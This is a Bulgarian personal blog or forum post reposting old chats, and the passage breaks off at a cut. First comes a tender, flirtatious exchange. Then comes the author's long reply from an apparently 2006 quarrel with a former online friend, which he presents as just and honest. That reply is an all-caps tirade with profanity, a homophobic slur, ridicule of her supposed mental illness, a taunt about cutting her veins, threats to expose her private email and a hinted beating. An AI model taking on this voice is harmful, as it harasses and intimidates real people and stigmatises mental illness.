Б.Д.:- Което не значи, че не искам да чета вълшебните ти думи за всичко, дори и за прозрените от мен неща!!! Донякъде се радвам, че не сме се запознали на улицата, понеже хората само в чата или в писма могат да изразят цялата си вербална красота! в живата реч е по-трудно, не че не става, но си има пречки от най-различен характер!
Х.Х. - А! :) Ти си първият човек, който подкрепя тази ми теория! Понякога физическият контакт плаши, а аз съм доста затворена в реалния си живот...
А теб не си те представям така. Ти ми приличаш на един сериозен, общителен човек, който таи в себе си красотата и усещането си за света!...Странна работа са това хората:):):)
.........
Х.Х.- ...иначе си нося нещо за гушкане ;)
Б.Д.- Използвайки това, че си чатим, веднага искам да използвам възможността да ти кажа, че ми се ПРИИСКА да бъда това нещо, да влезна в неговата роля! "Let me be your Teddy Bear", както се пее в една песничка на Елвис Пресли, знаеш ли я?
Х.Х. Ами че - да!!! Защо не?
(Знам я).
............
Б.Д. - Съжалявам, наистина! Жалко не, но направо тъжно, но пък...в бъдеще, знаеш ли?!...Ти си ми първият случай, който една толкова мааааааааааааааааааааааааааалка и формална възможност се превърна в една прекрасна действителност!
Искам да кажа, че си мислех, че (........) ще ми е последната и "вечна" любов, а тебе, по законите на някакъв морал ще "изпусна" завинаги...А какво стана сега? ЧУДОТО, че си пишем и, че дори мога да ти кажа, че искам да съм ти плюшеното мече. Е, по тази логика някой ден може и ...
.............
Х.Х. - Майка ми ме нарича (.......), но ти можеш да ми казваш както решиш - от тебе всико звучи хубаво! :)
Б.Д. - Мерси!
Х.Х. - А какво означава твоето име, Гесер?
Б.Д. - Това е древен Татаро-монголски герой, от епос, който по-късно в Будизма става еквивален на нещо като будтситкото "Второ пришествие" ...значи, това е един хан, който ще дойде, за да победи Злото или с други думи - "Буда на Бъдния ден"!
Х.Х. - Прекрасно!...Очарова ме...Страхотно име имаш.
Б.Д. - Благодаря за думите ти, сега ще ти намеря негово изображение:
2 интерпретации-
...
...
Х.Х. - Второто е много артистично и красиво! Долавя се духът на епохата!
Б.Д. - То е Будистка интерпретация:)
Х.Х. - ;))) Ясно, усетих я!
.............
Б.Д. - Това е специално за тебе - www. ........... . com
Х.Х. - Нежно е и е красиво!
Б.Д. - Като теб!
Х.Х. - Мисля, че съм само душевно-красива ;)
Б.Д. - Не си САМО, уверявам те! А, иначе, за мене е по-важно, че си И душевно-красива, защото останалото е мноооооооооооого относително!
Х.Х. - :))) да ти кажа - прав си и не си прав! Сериозно, ако разсъждавам, първото е стотици пъти по-важно от второто, но не подценявай външността! Физическата красота винаги е била и ще бъде търсена, и оценявана! Е, има и изключения, например едно злобно и просто момиче не може да ми се стори красиво на външен вид...Но ИНСТИНКТЪТ СИ Е ИНСТИНКТ - не отричай, че красивото ПРИВЛИЧА!;)
Е, дълбоко-красивото обаче е по-осмислено и осъзнато, по -трайно!
Б.Д. ...За красотата - за мен тя "умира" веднага, когато някой се покаже грозен отвътре! Идеалното момиче за мен е чувствително и добро; умно и романтично, с малко красота, колкото да не е без хич! А при тебе, последното никак не е малко!
Иначе ИНСТИНКТИВНО мога да се привлека за 1 нощ, нооооооо...само с инстинкт не се живее. Има емоции, има мисли; има, вероятно, душа и дух! Инстинктът може да е добър повод, но не и двигател на любовта!
Х.Х. Съгласна съм напълно, прекрасно го казваш. Нямам какво да добавя:)
Б.Д. Това, че думите ми са се харесали на такъв изящен вербален талант като теб, може само да ме радва - голям комплимент и награда е да го чуя от теб!
................
Х.Х. -С теб...Искаш ли да ти разкажа една история? :) С теб някой ден ще се срещнем, няма начин! Толкова ще се харесаме, че ще заживеем заедно...
.............
Б.Д. - А тук наистина можеш да се умориш от пътуване и впечатления!
То си е нещо като ЦЕЛИЯТ СВЯТ - от океански острови с палми до пустини от пясък и чакъл; от безкрайните степи на Вътрешна Монголия до най-високите планини на света - Тибетските, а и още - мегаполиси с небостъргачи, живописни села край водопади и дворци от лед...
Да не говорим за гори, подобни на джунгли, пълни със златни маймуни, панди, красиви пауни и дори слонове!...
Х.Х. - Мен Изтокът ме е привличал винаги именно с това!
..............
Х.Х. - Какви прекрасни думи, отново!
Б.Д. - Прекрасното е, че ДОЖИВЯХ да чуя от ТЕБ нещо толкова мило, както това, което си му казала на него! (А и думите ти към мен за онзи въпрос, бяха, така да се каже АПГРЕЙДНАТА ВЕРСИЯ и ми харесаха ДОСТА!)
Х.Х. -Когато съм очарована до загуба на изразни средства ми идва на
чужд език мисълта или поне така бих искала да я изразя!
Б.Д. - Изразявай я винаги, но давай и превод, че, в противен случай ще изглежда за мен така, както, може би, изглежда за теб това:
"我喜欢你的照片。"
:):):):):):):):):):):):)
.................
Б.Д. ...Мислех си, че си нещо НЕДОСТИЖИМО и НЕПОЗВОЛЕНО! И, когато ме потърси, си мислех, че сънувам някакъв измамен сладък сън, който скоро ще се превърне в кошмар, но си казах: "Аха! Ето я отровната клопка на кошмара, но, какво пък?...Това е най-пленителната и красива клопка, която съм срещал, защо да не си поговоря с нея, макар и да е само сън?"
Х.Х. - Ти си УНИКАТ, казвала съм ти го и ще го повторя отново!...
.........
Х.Х. - Пожелавам ти красиви сънища и далечно-оцветени мечти. Нека една красива магия обгърне всичко около теб! Благодаря ти, че ми дари толкова много усмивки и прекрасни мигове!
Б.Д. - Благодаря ти много! Не знам дали ще магията ще обгърне всичко, но ще бъде дълбоко в сърцето ми и ще ти принадлежи!
______________________
ТОВА БЕШЕ ЧАСТ ОТ ЧАТА (с някои дискретни изменения и пропуски), с един от най-романтичните и надарени словестно субекти от моето френд-листче, следващия път може да ви покажа и чата с един учен, да видите какво се казва бой на носорози в сферата на науката! :lol: :lol: :lol:
Хайде сега да видим и вие за какво си чатите?
А аз завършвам с нещо, което ми каза едно скъпо приятелче:
"Аз съм само малко плевелче в градина от рози!"
:)
Не е ли ВЕЛИКОЛЕПНО, А?
"
Жалко че отдавна вече не се намират такива поетични, образовани хора... Вярно, че въпросната не беше никак перфектна, но на фона на тези, които срещам напоследък, си беше направо "фея".
-
И отново нещо много по-тъжно и нараняващо, но реално, справедливо и честно:
"1. Българин си в крайна сметка (колкото и да страдам, че имам такива сънародници като теб)"
a/ В най-добрия случай съм ПРА-българин. А ти не страдай, понеже чисто психически не проявяваш свойства да сме от един и същи ВИД, не само по народност. Ако не схващаш иронията - да ти го кажа в прав текст - държиш се като животно.
", а ние хубави буквички си имаме, така че ги уважавай и използвай."
Така ми, като няма какво да отговориш по същество с техническата част на въпроса ще се хванеш. Скучнооооо... :roll:
"2. Вече говорих с Петя за това, няма да обсъждам с теб отношенията си с когото и да било, само дето ми е кофти, че натоварваш психиката на детето с твоите проблеми и го настройваш срещу мен."
ГОЛЯМА СИ МИЗЕРНИЦА! АЛО, НАЛИ ТИ ПЪРВА ПОЧНА ДА Я НАТОВАРВАШ С ГЛУПОСТИ И ДА Й ПИШЕШ ГНУСОТИИ ЗА МЕНЕ, МА! КАКВО СЕ ПРАВИШ НА ПО-НЕНОРМАЛНА ОТ КОЛКОТО СИ?! И Я КАЖИ С КАКВИ МОИ ПОБЛЕМИ СЪМ Я НАТОВАРИЛ?! АЗ, доколкото знам, пробеми нямам, пък еле да натоварвам и Петя с тях...'ми, като си луда, пък се лекувай, недей изпростява толкова чак!
"3.НИКОГА, АМА НИКОГА ПОВЕЧЕ ДА НЕ СИ ПОСМЯЛ ДА НАРИЧАШ И. СЕЛЯНИН!"
АЗ съм го нарекъл ИДИОТ и СЕЛЯНИН, но ти протестираш само срещу второто. Е, щом като при тези две определения съм сбъркал САМО относно селянията му - няма, хайде, недей да плачкаш! Ти сега плачкаш за него, после ще плачкаш от него...
"Освен това ти явно си много по-голям лигльо и единственото ти предимство пред него е, че той не иска да се занимава с теб."
ДА ВЕ :lol: :lol: :lol: :lol: ПРОСТО ТОЙ ПОДВИ ОПАШКА, ИНАЧЕ НАЛИ ГО ВИДЯ С КОЛКО ХЪС ЗАПОЧНА. АМА СИ ИМА КУЧЕШКА ПСИХИКА КАТО ТЕБЕ - КАТО НЕ МОЖЕ ДА ПОБЕДИ ИЗЧЕЗВА БЕЗСЛАВНО. ТО ЗАТОВА СТЕ СЕ НАМЕРИЛИ, ПОНЕЖЕ ЕДИНСТВЕНОТО, КОЕТО ВИ СБЛИЖАВА Е ЛУДОСТТА - иначе, въпреки че го посъветвах да бъде по-романтичен, едва ли е взел да си пада по бели рози, романтични мечти и пр. МИ, ЧЕ АЗ ПРЕКАРВАХ С ТЕБЕ ПОВЕЧЕ ВРЕМЕ В НЕТА, ОТКОЛКОТО ТОЙ В РЕАЛНИЯ ЖИВОТ! КАТО ТУРИМ И ТОВА, ЧЕ ИЗЛИЗАШЕ С ПРИЯТЕЛИТЕ МУ...ЯСНО КОЛКО ВНИМАНИЕ ТИ ОБРЪЩА, АМА НАЛИ ТИ САМАТА СЕ ОПЛАКВАШЕ ОТ ТОВА, АЗ ЛИ ДА ТИ ГИ РАЗПРАВЯМ ТЕЗИ НЕЩА?!
"Същото се отнася и за мен и ти затова ни нападаш, защото като няма кой да ти отговори се чувстваш силен."
АБЕ ИДИОТКО, АЗ ЛИ ВИ НАПАДАМ ИЛИ ВИЕ ЗАД ГЪРБА МИ ПРЕД ПЕТЯ? (НЯМА ДА СЕ УЧУДЯ, АКО И ПРЕД ЕЛИ И ОФИДИЯ СТЕ ГО НАПРАВИЛИ, АМА ТЕ ДА НЕ МИ КАЗВАТ! КАТО ВИ ЗНАМ КАКВИ СТЕ МИ ПОДМОЛНИЧКИ ИЗРОДЧЕТА!).
"Но няма проблеми, аз наистина нямам намерение да говоря с ненормални вдетинени лигльовци повече, така че се чувствай освободен от мен."
ЧАКАЙ МАЛКО СЕГА - ВДЕТИНЕНА И, ОСОБЕНО НЕНОРМАЛНА, СИ ТИ ПОНЕЖЕ НИТО СИ ЗРЯЛА ЕМОЦИОНАЛНО (един суяк те командори как да си живееш живота, пък ужким не живеел у вас и не можел да ти каже нищо :lol: :lol: :lol: :lol: ), НЯМАШ НИКАКВА ТВОРЧЕСКА МИСЪЛ НА НИВО НАУКА (извън литературата и наизустените данни си гола вода), А ПОВЕДЕНИЕТО ТИ Е ПОД ВСЯКАКВА КРИТИКА (аз да речем не избухвам в плачове и други хистерии, които си ми описвала).
ИНАЧЕ АЗ СЕ ЧУВСТВАМ СВОБОДЕН ОТ ТЕБЕ КАТО ЛЮБОВ, НО ЧИСТО КАТО ОТНОШЕНИЯ НЕ МОГА - ПОСТОЯННО СЕРЕШ РЕДКИ ЛАЙНА ПРЕД ПЕТЯ И, ВЕРОЯТНО, ПРЕД ДРУГИТЕ ХОРА! РЕДНО Е ТИ ДА ПРЕСТАНЕШ ПЪРВА!
"4. Не всичко е наред с бана, защото не аз съм те баннала откъдето и да е"
ТИ ЛИ НЕ СИ МЕ БАННАЛА? А ЗАЩО ТОЙ КАТО НАСТОЯВАШЕ ДА МЕ БАННАТ И ТО ПУБЛИЧНО ТИ НЕ КАЗА И ЕДНА ДУМА В МОЯ ЗАЩИТА? ЗНАЧИ, ЧЕ СИ МЪЛЧАЛИВО СЪГЛАСНА! НАЛИ?
", а той и Петя няма нищо, ама нищо общо с това и не би трябвало грам да я засяга, че да отмъщава на мен."
ЕТО ТОВА Е ВЯРНО, АЗ САМИЯТ Я ПИТАХ - ЗАЩО ТЕ Е БАННАЛА, А ТЯ НЕ МИ КАЗА! ДА МЕ ХВАНЕ РАК НА ТЕСТИСИТЕ И НА МОЗЪКА, АКО ПЪК ТЕ ЛЪЖА! ДАЖЕ И ЗА МОТИВАЦИЯТА Й НЕ МОГА ДА ГАДАЯ! ИНАЧЕ ИНТЕРЕСНО Е КАК ТИ ТОЛКОВА ДЪРЖИШ НА ТОЗИ ФОРУМ КАТО ПРЕДИ С ТАКАВА ПОДИГРАВКА СЕ ОТНЕСОХТЕ КЪМ НЕГО?!?!
"Плюс това да съм оврещяла света? Да съм казала на Петя "Изклюкари веднага на пича, дето подло е завъртял главата ти както се опита моята"?!"
БАСИ ДОЛНОТО ЛАЙНО СИ ЧЕСТНО!
а/ Добре, че те изклюкари, за да си изтрия ВСЯКАКВИ ИЛЮЗИИ КОЛКО СИ "ПРЕКРАСНА"!
б/ Не забравяй, че НЕ АЗ, А ТИ започна да ми говориш за танци, да ми споделяш интимности и да ми описваш колко си разсъблечена! Т.Е. ТИ МЕ ОМОТА И ПО НАЙ-МИЗЕРНО-ПОДЛЯРСКИ И БЕЗОТГОВОРЕН НАЧИН МЕ СПРЯ ДА СИ ТРЪГНА. Тези факти колкото и да ги криеш от стесненото си съзнание НЯМА КЪДЕ ДА ГИ СКРИЕШ! НАЙ-МНОГО ДА СЕ ИЗРОДЯТ В КОШМАРИ И ПАК ЩЕ СА!
в/ Ама как ще кажеш??? Разбира се, че ще й кажеш да си трае, че да не науча и да те накарам да се чувстваш зле, както сега!
"5. Имаш ли представа колко пъти ти казах, че ОБИЧАМ И. И НЯМА ДА СЕ ВЛЮБЯ В ТЕБ?!"
НЕ СИ !!!!
а/ Казваше, че ме желаеш.
б/ Че не е той мъжа на живота ти.
в/ Че някой ден, ако си дойда в БГ ще сме заедно.
г/ Че си ме сънувала с него и си искала да ме докосваш и да се гушкаме, а аз съм се дърпал!...
Я СИ ПРОВЕРИ ПРОСЛОВУТОТО ХИСТЪРИ, ЗА ДА СИ ОПРЕСНИШ РАНО И УМИШЛЕНО СКЛЕРОЗИРАЛАТА ПАМЕТ!
"Или ти това си го пропускал, че най-готино е да четеш избирателно?"
ТОВА Е МНОГО ХУБАВО ДА ВИДИШ, ЧЕ СИ ГО ПИСАЛА ТИ, АМА МАЙ ТЕ Е СТРАХ ДА ПОГЛЕДНЕШ ИСТИНАТА В ОЧИТЕ! А И ТОЗИ ГАЛФОН КАК ПЪК НЕ ТИ ИЗВИ РЪЧИЧКИТЕ ДА ТИ ПРОЧЕТЕ ЦЯЛАТА ИСТОРИЯ НА ЧАТА И ПОНЕ ДА ТЕ НАБЛЪСКА У ГЛАВАТА ПРОСТА КАКТО СИ ЗАСЛУЖАВАШ ЗА ТЕЗИ ЛЪЖИ?!?!?!!
"И другото, което явно пак си чел избирателно - не съм се влюбвала нито в теб, нито в съседчета, нито в приятели."
НЕ СИ МИ, ТИ СИ СВЕТА ВОДА НЕНАПИТА. СЕГА И СЕКС, ЧЕ СИ ПРАВИЛА ЛИ ЩЕ ОТРЕЧЕШ ИЛИ ЗА ТАЙНИЯ СИ И-МЕЙЛ (който още не съм му казал, че имаш и се благодаряй, че съм ти спестил сега-засега един бой!)
"Веднъж съм се влюбвала в живота си и вече за трета година изживявам любовта си."
АБЕ ИЗЖИВЯЛА СИ СЕ ВСЕ КАТО ТЕ ГЛЕДАМ, АМА ХАЙДЕ ДА НЕ КОМЕНТИРАМ, КАТО ТЕ РАЗКАРА И МИНЕ ГОЛЯМАТА ДЕПРЕСИЯ, АКО НЕ СИ СИ СРЯЗАЛА ВЕНИТЕ (щото то акъла ти е толкова, като те гледам и такава глупост би направила), ЩЕ ВИДИШ, ЧЕ ВСЕКИ ЕДИН СЛЕДВАЩ БИ БИЛ ПО-ДОБРЕ ОТ НЕГО.
"А аз, за разлика от теб, нямам недъзи. Е, вярно, че твоите са си само психически..."
ТИ ЛИ НЯМАШ??? :lol: :lol: :lol: :lol: ИМЕННО ПСИХИЧЕСКИ ИМАШ - ДА ПРИПОМНЯМЕ ЛИ КАК РЕВЕШ БЕЗ ПРИЧИНА (истеричност), КАК СЕ ОПИТВАШ ДА ЛЪЖЕШ ДОРИ СЕБЕ СИ (инфантилност), КАК НА ВРЕМЕНА ИМАШ ХАЛЮЦИНАЦИИ (шизофрения - ама за това ще си траем!)...
"6. Тогава те спрях поради същата причина, поради която ти пиша сега - за да защитя честта си."
МНОГО В ДЪЛБОК МАРАЗЪМ ТИ Е ИЗПАДНАЛО ПОНЯТИЕТО ЗА "ЧЕСТ". НЕ ЗНАМ НЯКОЙ С БЯГСТВО ДА Е ЗАЩИТИЛ ЧЕСТ, НО ТИ ЯВНО ПО НЯКАКВИ СИ ТВОИ, ШИЗОФРЕНИЧНИ ЗАКОНИ ИСКАШ ДА ГО НАПРАВИШ! ЛА ЛОКА...КАКВО ДА ГОВОРИМ?...
"Наистина ли си мислиш, че като ми кажеш "Обичам те" и аз веднага ще хлътна по теб?!"
ЧЕ ТИ СИ БЕШЕ И БЕЗ ДА ТИ КАЗВАМ, НАЛИ ВСЕ ТИ МЕ ДЪРПАШЕ? А И КОЙ ПЪРВИ ПОЧНА ДА ПРАЩА ЕРОТИЧНИ СНИМКИ И ДА СПОДЕЛЯ МЕЧТИ?
"Може, ако ми липсваше любов."
АМИ НАЛИ КАЗА, ЧЕ ТИ ЛИПСВАШЕ??? Я СИ ВИЖ ХИСТЪРИТО, ЧЕ ВЕЧЕ СТАВАШ МНОГО ДОСАДНА!
"Но за твое съжаление не ми липсваше тогава, не ми липсва и сега."
СЪЖАЛЯВАЛ СЪМ, АМА ПОГРЕШНО! ДА СЪМ ТЕ ЗНАЕЛ КАКВО СИ МИ РЯДКО И МИРИЗЛИВО ДА СЪМ ПЛЮЛ И ДА СЪМ ЗАМИНАЛ, АМА НАЛИ ВСЕ ПОДХОЖДАМ ОПТИМИСТИЧНО...ТИ СИ ЖИВО ДОКАЗАТЕЛСТВО, ЧЕ ТАЗИ МЕТОДОЛОГИЯ Е ПОГРЕШНА. АМА НИЩО ДЕ, ДОБРЕ ЧЕ НА ВРЕМЕ...
"Провокативни кво?! Излях пред теб душата си, а ти я разнесе из целия форум."
А-ХААААААААА, ЗНАЧИ Е ВСЕ ПАК ВЯРНО? ВИЖ КАК ПОВРЪТЛИВО, КОГАТО ТИ Е УДОБНО, ИЗКАРВАШ НЕЩАТА ТУ ВЕРНИ, ТУ НЕВЕРНИ!
ИНАЧЕ РАЗНЕСЪЛ СЪМ, ПОНЕЖЕ:
а/ Обеща ми, че той няма да научи, а по най-идиотския начин си оставила кукитата в неговия КОМП, а той ти е ЧЕЛ ЛИЧНИТЕ.
б/ Обеща ми, че даже и да те хване не може да ти заповяда нищо, а какво стана? При първото сътресение - аз станах жертвения агнец.
в/ Да не говорим, че ме спря, когато исках да не ти преча и, че не ми каза, че ходиш с Дарк Идиотов! ПРИКРИВАШЕ ИСТИНАТА ДО ПОСЛЕДНО!
Така че сърди се на себе си, че си разголила дяволските ми качества!
"Така не се прави, мой човек."
ВЪЙЙййййййййй...Па мигар се прави като тебе - коравосърдечно, тъпо и безотговорно? МИ ВИЖ КАКВО БЕ- като си се направила сама червей не се сърди, че са те тъпкали!
"И понеже аз имам повече чест от тебе, не направих същото, а предпочетох да си мълча."
НЕ ЛЪЖИ МА - ГОВОРИШ МЕ ЗАД ГЪРБА МИ! А ТОВА НЕ Е ЧЕСТ А БЕЗЧЕСТИЕ ОТ НАЙ-ВИСШ ТИП!
"Ако си мислиш, че е заради теб, не се заблуждавай. Заради Еми е, понеже не исках да й съсипвам форума, както направи ти."
БИ МЕ БИЛО ГНУС ИСТЕРИЧНО-ТЪПО И ПРЕДАТЕЛСКО-БЕЗЧЕСТНО СЪЗДАНИЕ КАТО ТЕБЕ ДА ПРАВИ КАКВОТО И ДА БИЛО ЗАРАДИ МЕН, А ЗА ЕМИТО ТИ ПУКА ТОЧНО НИКАК! ИНАЧЕ НА ПУК НА ЗЛОРАДСТВОТО ТИ ФОРУМЪТ СЕ РАЗВИВА - темички, нови потребители, комуникативност, градивност. Все неща дето, преди аз да дойда ти можеше само да имитираш, но не и да правиш.
"Е, тя разбира се изтри безсмислените ти постове, просто има акъл в главата."
ИЗРОДЧЕ, ТИ СЕ ОПИТА ДА ГИ ИЗТРИЕШ, БЕЗ ДА ТРИЕШ ТВОИТЕ, А СЛЕД ТОВА ТЯ ИЗТРИ И ТВОИТЕ , И МОИТЕ, ЗАЩОТО ТАКА СЕ МОДЕРИРА, А НЕ СЕ ПРАВИ КАТО ТЕБЕ- ДА ПРИКРИВАШ УЛИКИ, ОСТАВЯЙКИ САМО ТВОЯ ПОСТ. ИНАЧЕ, СЧИТАЙ ВСИЧКИТЕ ТЕ РАЗБРАХА ЩО ЗА ГОВЕДО СИ, АКО СЕ СЪМНЯВАШ, ВГЛЕДАЙ СЕ ПОВЕЧКО!
"7. Не знам точно с кой орган обичаш да си приказваш."
Ами обичах да си приказвам с тебе. Ти кой орган си? Да не е един дето му викат "тъпа п...а"?
"Аз не се чувствам хваната, чувствам се освободена."
АМИ ТО НЯМА НИЩО ПО-УДОБНО ОТ РОБИНЯ, КОЯТО СИ МИСЛИ, ЧЕ ОКОВИТЕ Й СА ПРОСТО ЕДНИ УКРАШЕНИЯ ПО ТЯЛОТО! ЗАЛЪГВАЙ СЕ!
"От теб. В началото ми беше трудно, а сега съм щастлива, че той ми отвори очите и видях какъв "приятел" си ми бил и колко си "добричък"."
-Ами той дето ти открадна паролите и ти е чел нещата без твое разрешение?
-Ами той дето те тормози и бие?
-Ами той дето ти забранява да се виждаш с ПЕТЯ?
-Ами той дето не му пука да е на село с тебе?...
-Той, той, той...
АМА НЕЙСЕ -ТОЙ ТИ Е ОТВОРИЛ ОЧИТЕ ЗА МЕНЕ, АМА ЗА НЕГО КОЙ ЩЕ ТИ ОТВОРИ ОЧИТЕ! ЗАЩО ЛИ СПИШ И ВЕЧНО ТРЯБВА ДРУГ ДА ТИ ОТВАРЯ ОЧИТЕ??? ПОНЕ ДА БЕШЕ СПЯЩАТА КРАСАВИЦА, А ТО...
"Съжалявам за всичките пъти, когато съм те защитавала пред него!"
И АЗ СЪЖАЛЯВАМ, ЧЕ ТИ ПОВЯРВАХ НА ЛЪЖИТЕ, АМА КАКВО ДА СЕ ПРАВИ???
"Пък и той не ми забрани да говоря с теб, убеди ме, че е по-добре да не го правя, има разлика, нали?"
ДА БЕ - :lol: :lol: ГОЛЕМИ ВИЦОВЕ - ПУБЛИКУВАЙ ГИ НЯКЪДЕ!!! УБЕДИЛ ТЕ БИЛ! ТИ МАЙ ЗАБРАВИ КАКЪВ ПСИХО-ТОРМОЗ СИ БЕШЕ - даже по форумите ви разбраха хората - ТИ ПИСА, ЧЕ СИ ИМАЛА МНОГО ТЕЖЪК И СТРАНЕН ДЕН, А ТОЙ ПИТА НА ИГЛИШ ДАЛИ ДЪ ТРУТ ХЪРТС...Предтсавям си какво "убеждаване" е било. ДА НЕ Е КАТО ТОВА - ИСКАМ ДА ИЗЛЕЗНА С ПЕТЯ?
------НЯМА!!!-------------------
Щото, извинявай, ама представите ти за УБЕЖДАВАНЕ ще излезнат толкова кежави калкото тези за ЧЕСТ...
"8. Не бягам от теб, просто е безсмислено да се защитавам, като с нищо не съм се провинила и дори половината от това, което казваш не е вярно. "
АМИ ДАЙ ДА ВИДИМ ХИСТЪРИТО, АМА НЕ ДАВАШ! Т.е. кой крие? ТИ !
ТАКА ЧЕ БЕЗ ТЕЗИ СЕЛСКИ НОМЕРА. АКО И. ИМ ВЯРВА, ЗНАЧИ СИ ОСТАВА НЕ САМО ИДИОТ, НО И СЕЛЯНИН!
"Освен това форумите не са място, където да обсъждаш личните си проблеми."
СЕРИОЗНО??? А КОЙ ЛИ НАПРАВИ ЛИЧНИТЕ РУБРИКИ? Какво слушате в момента, какво правите в момента...Доста са си лични, ако мен питаш, но то при тебе кое ли е нормално, че и да знаеш какво се пише по форумите???...
" Еей, за 30 години не си ли си научил още какво и къде може?"
АЗ СЪМ НАУЧИЛ, АМА ТИ И НА 130 да станеш май няма да научиш, понеже си се родила тъпа, живееш тъпа и ще си умреш тъпа!
"И понеже си имам чест все още, това ще е последния път, когато ще се унижа да ти пиша."
БОЛИ МЕ ОНОВА НЕЩО, НАЛИ СЕ СЕЩАШ! САМО ПРЕСТАНИ ДА МЕ ГОВОРИШ ЗАД ГЪРБА, ЩОТО ЩЕ ТИ ПРЕДИЗВИКВАМ ОЩЕ ПОДОБНИ СЪРЦЕБИЕНИЯ И ВИСОКИ ТЕМПЕРАТУРИ СЪС СЪЛЗИ КАКТО СЕГА!
"9. О, ти не се остави да те изритам безнаказано :lol:
Бълва змии и гущери цял керван."
АМИ ЩОТО ТИ СИ МИ ГИ ДАЛА! АКО НЕ БЕШЕ -- ОТКЪДЕ ЩЯХ ДА ГИ ВЗЕМА?
"Но няма значение. Това нищо няма да промени."
МИ ЧЕ ТО ДА ПРОМЕНИШ НЕНОРМАЛНА ЖЕНА НЕ Е ЛЕСНО. ЛУДНИЦИТЕ СА ПЪЛНИ С ТАКИВА КАТО ТЕБЕ. МАЙКА МИ И БАЩА МИ ЦЯЛ ЖИВОТ СА РАБОТЕЛИ ПО ТЕЗИ ЗАВЕДЕНИЯ И ДОКАТО ТЯ НЕ УМРЯ, РЕДОВНО ВИЖДАХ В НЕЙНОТО (ЖЕНСКО) ОТДЕЛЕНИЕ ТВОИ ДВОЙНИЧКИ. А ВИЖ БАЩА МИ ЛЕКУВА НАРКОМАНИ И АЛКОХОЛИЦИ -- ПРИ ТЯХ ИМА ПОВЕЧЕ НАДЕЖДА...
"Оставаш си изритан и с едничката утеха, че със сладките си думи можеш да настройваш хората срещу мен."
ИЗРИТАН СЪМ, ТОВА Е ВЯРНО, ЗАРАДИ ЛАБИЛНАТА ТИ И ЛЪЖОВНА ПСИХИКА И ЗАРАДИ ТИРАНЪТ ТИ - ДАРК СЕЛСКИ. А ДУМИЧКИ, МАКАР И НЕ ТОЛКОВА СЛАДКИ (С Мария не можеш да се мериш, знаеш си го, нали???) ПОЛЗВАШ ТИ ПРЕД ХОРАТА (Петя, а вероятно и Ели, и Еми), но не ти се отваря миризливият парашутец.
"Но и това няма значение, защото който ми е истински приятел няма да се поддаде :)"
ТОВА ВАЖИ И ЗА МЕНЕ - затова с толкова безпомощност бяха написани последните ти реплики до Петя. А ТИ ИНАЧЕ ИМАШ ЛИ ИСТИНСКИ ПРИЯТЕЛИ???????????????????????????????????????????
ВКАРА МЕ В ДЪЛБОКА МИСЪЛ С ТОВА ИЗРЕЧЕНИЕ! Нали даже Петя не те разбираше, понеже си била толкова специална и самотна?
"10. Нищо не съм ти обещавала, още по-малко съм се клела (най-малкото защото никога не го правя), така че не знам какво е отишло на вятъра."
ПОРЕДНАТА ТИ СКОТОМИЗАЦИЯ (виж речника за чуждите думи в бг-езика).
"А като си толкова образован психолог и философ, дали знаеш, че е типично за децата в доста ранна възраст да си измислят едно на друго прякори и да се дразнят така?"
А, като онова "ПСИХИ" на Д.С., дето и ти по най-имитаторски, НЕТВОРЧЕСКИ и маймунски (горили, шипанзета и др. са добри в това) ГО ЛАПНА ЛИ?...Ми да, може да си права, Лалокова...Може и да си права...
"Не приляга на 30-годишен човек. Да не говорим, че вече съм достатъчно зряла, че да не ти се връзвам."
Зряла си си само по тяло (вероятно), по емоционално-волева сфера и менталност си просто едно бебе (прохождащо). И не ми излизай с този лигав назидателен тон, понеже ТОЧНО от твоите устенца би прозвучал цинично, смешно и отвратително. Все едно кобра да поучава смок колко е отровен.
"Пък и не е лош прякор, да ти кажа, аз винаги съм си била малко шашава, затова ме обичат хората."
:shock: :shock: :shock:
"Пък името, а и фамилията си ги знам достатъчно добре, така че не е нужно ти точно да ме информираш, а и хубажи са си, нямам желание да ги променям."
ЛАЛОКОВА е фамилията ти, а името...офффф (една твоя "приятелка" те нарече "Онзи Мъгъл"), малко грубичко , но...Да ползваме ли това или?...
"Така. Значи казах май каквото исках. Повече няма да ти пиша, няма да говоря с теб, искам да ме оставиш на мира."
И АЗ ИСКАМ, АМА ТИ МИ ЗЛОСЛОВИШ ЗАД ГЪРБА И Е МНОГО ЛАЙНЯНО ДА ИСКАШ АЗ ДА ТЕ ОСТАВЯ НА МИРА, ПРИ ПОЛОЖЕНИЕ, ЧЕ ТИ НЕ ГО ПРАВИШ!!!
"Разкарай се веднъж завинаги от живота ми."
ПЪРВО ТИ СЕ РАЗКАРАЙ!
"Най-любимите ми хора както винаги имат право. И. смята"
ХАХАХАХАХА!!! ТОЙ СТАНА НАЙ-ЛЮБИМИЯТ ТИ???
", че си педал, психопат и тъй нататък"
АБЕ ДА ГО ЕБА В СЕЛЯНИНА ИДИОТСКИ _ НАЛИ ТОЙ УЖКИМ НЕ ПОГЛЕЖДАЛ МОМИЧЕТА И ДАЖЕ ГАДЖЕТО СИ, КЪДЕ ЗА МЕНЕ ГОВОРИ ТОВА? :oops:
А ЗА ПСИХОПАТИЯТА - СЛЕД ТЕБЕ, ТОЙ Е НАЙ-ГОЛЕМИЯТ ПСИХАР, ПОНЕЖЕ Е ХЕМ ТИРАНИН И РЕВНИВЕЦ, ХЕМ СТРАХЛИВЕЦ, ХЕМ ЛАЙНАР...
А майка ти - не ме познава, ако иска може да се запознаем, да й разкажа ИСТИНАТА за тебе и след това тя да прецени кой се напикава (И ОСИРА ПОВЕЧЕ)...Иначе си изтичкала да споделиш и с мама...Божееееееееее, какво си ми бебе........На баба си и дядо си няма ли да кажеш? И на заека кажи, може и тя /женско беше, нали?/ да има мнение.
", а майка ми - че си пикльо. И двамата казват да не общувам с теб, а аз нямам и желание, така че СБОГОМ ЗАВИНАГИ, ПСИХИИИ!! "
"СБОГОМ", зависи от тебе, ЛАЛОКОВА! ПРЕСТАНИ ДА СЕРЕШ РЕДКИТЕ СИ ВЕРБАЛНИ ЛАЙНА ПО МОЙ АДРЕС, ИЛИ...МАЙ ИСКАШ ДА СИ ПИШЕМ? Ами ще кажа на И.- Селския Идиот и потенциален педал, ако все така я караш!"
Дано наистина тези двамата да са се оправили като характер, култура, светоглед и да не се е стигнало до някакво непоправимо насилие от ревност или по други "причини", което все още се смята за "нормално" в доста от патриархално-балканските кръгове.
-
И пак, разбира се, от преди много години (конкретно --2006. Явно тогава най-много време е прекарано онлайн в контактуване. ;D Ех, ако го бяхме вложили в развитие на някой бизнес, а?) Но, по темата:
"Нямаш абсолютно никакви проблеми и не е нужно да се извиняваш.
